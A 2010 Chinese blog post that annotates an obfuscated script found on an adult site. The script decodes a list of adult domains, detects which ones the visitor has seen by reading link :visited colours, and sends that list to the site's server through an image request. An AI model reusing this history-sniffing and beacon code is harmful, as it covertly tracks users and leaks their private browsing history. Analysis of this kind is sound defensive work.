悄悄用脚本检查你访问过哪些网站的代码


Posted in Javascript onDecember 04, 2010

打开它的“页面源文件”,你能找到一段加密过的JS脚本:

function ypol(){ 
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。 
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"}; 
var g=[]; 
for(var m in k){ 
var d=k[m]; //遍历k中的元素赋值给d 
var a=""; 
for(var f=0;f<d.length;f++){ 
a+=String.fromCharCode(d.charCodeAt(f)-1); 
}/* 这里把d中的每一条字符都还原了。 
* charCodeAt(char) 函数返回char的ascii码 
* String.fromCharCode(asccii) 返回ascii码对应的字符 
* 然后把结果赋值给a 
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com 
*/ 
var h=false; 
/* 
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/ 
* 为什么要循环来2次,目的是为了准确性 
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名 
* 所以要区别对待 
*/ 
for(var j in {"http://":"","http://www.":""}){ 
var l=document.createElement("a"); //创建一个A对象 
l.href=j+a; 
document.getElementById("ol").appendChild(l); 
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS 
var e=""; 
if(navigator.appName.indexOf("Microsoft")!=-1){ 
e=l.currentStyle.color; //取IE中A对象的颜色 
}else { 
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color"); 
//取其他标准浏览器的颜色 
} 
if(e=="#0c2238"||e=="#0c2238"){ 
/* 
* 如果是紫色,就表示访问过此站点。 
* 浏览器默认给访问过的链接标记为紫色 
* a:visited{color: #123456} 
*/ 
h=true; 
} 
} 
if(h){ //如果访问过,把站点加入列表g 
g.push(m); 
} 
} 
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串 
var c=document.createElement("img"); //建立一个img对象 
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值 
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样 
/* 
* 以一次图片访问,在web-server
Javascript 相关文章推荐
extjs 学习笔记(二) Ext.Element类
Oct 13 Javascript
JavaScript 更严格的相等 [译]
Sep 20 Javascript
JavaScript 语言基础知识点总结(思维导图)
Nov 10 Javascript
jquery的live使用注意事项
Feb 18 Javascript
jsMind通过鼠标拖拽的方式调整节点位置
Apr 13 Javascript
js数组依据下标删除元素
Apr 14 Javascript
JavaScript Window浏览器对象模型方法与属性汇总
Apr 20 Javascript
js实现基于正则表达式的轻量提示插件
Aug 29 Javascript
javascript中href和replace的比较(详解)
Nov 25 Javascript
详解微信小程序 template添加绑定事件
Jun 23 Javascript
JS在if中的强制类型转换方式
Jul 15 Javascript
JavaScript实现显示和隐藏图片
Apr 29 Javascript
jQuery)扩展jQuery系列之一 模拟alert,confirm(一)
Dec 04 #Javascript
高效的表格行背景隔行变色及选定高亮的JS代码
Dec 04 #Javascript
javascript innerHTML使用分析
Dec 03 #Javascript
统计出现最多的字符次数的js代码
Dec 03 #Javascript
解决jquery的.animate()函数在IE6下的问题
Dec 03 #Javascript
基于jQuery的左右滚动实现代码
Dec 03 #Javascript
基于jquery的finkyUI插件与Ajax实现页面数据加载功能
Dec 03 #Javascript
You might like
Ping服务的php实现方法,让网站快速被收录
2012/02/04 PHP
CI框架常用方法小结
2016/05/17 PHP
JavaScript的类型转换(字符转数字 数字转字符)
2010/08/30 Javascript
jquery多选项卡效果实例代码(附效果图)
2013/03/23 Javascript
JS加jquery简单实现标签元素的显示或隐藏
2013/09/23 Javascript
javascript 3d 逐侦产品展示(核心精简)
2014/03/26 Javascript
javascript相关事件的几个概念
2015/05/21 Javascript
Jsonp 关键字详解及json和jsonp的区别,ajax和jsonp的区别
2015/12/30 Javascript
javascript 数组的定义和数组的长度
2016/06/07 Javascript
jQuery实现 RadioButton做必选校验功能
2017/06/15 jQuery
JS自定义滚动条效果简单实现代码
2020/10/27 Javascript
js判断用户是输入的地址请求的路径(实例讲解)
2017/07/18 Javascript
使用JS中的Replace()方法遇到的问题小结
2017/10/20 Javascript
Vue递归实现树形菜单方法实例
2018/11/06 Javascript
微信小程序实现张图片合成为一张并下载
2019/07/16 Javascript
javascript中的数据类型检测方法详解
2019/08/07 Javascript
多页vue应用的单页面打包方法(内含打包模式的应用)
2020/06/11 Javascript
js实现表格数据搜索
2020/08/09 Javascript
Vue循环中多个input绑定指定v-model实例
2020/08/31 Javascript
javascript实现打砖块小游戏(附完整源码)
2020/09/18 Javascript
Taro小程序自定义顶部导航栏功能的实现
2020/12/17 Javascript
使用Python编写一个简单的tic-tac-toe游戏的教程
2015/04/16 Python
详解python开发环境搭建
2016/12/16 Python
使用Python绘制图表大全总结
2017/02/11 Python
浅谈python中copy和deepcopy中的区别
2017/10/23 Python
[原创]教女朋友学Python(一)运行环境搭建
2017/11/29 Python
Linux下多个Python版本安装教程
2018/08/15 Python
使用Django清空数据库并重新生成
2020/04/03 Python
如何用Python绘制3D柱形图
2020/09/16 Python
python 决策树算法的实现
2020/10/09 Python
Python 将代码转换为可执行文件脱离python环境运行(步骤详解)
2021/01/25 Python
大学本科生的个人自我评价
2013/12/09 职场文书
经济管理毕业生求职信
2014/03/15 职场文书
后备干部培训方案
2014/05/22 职场文书
小学信息技术教学反思
2016/02/16 职场文书
解决Redis启动警告问题
2022/02/24 Redis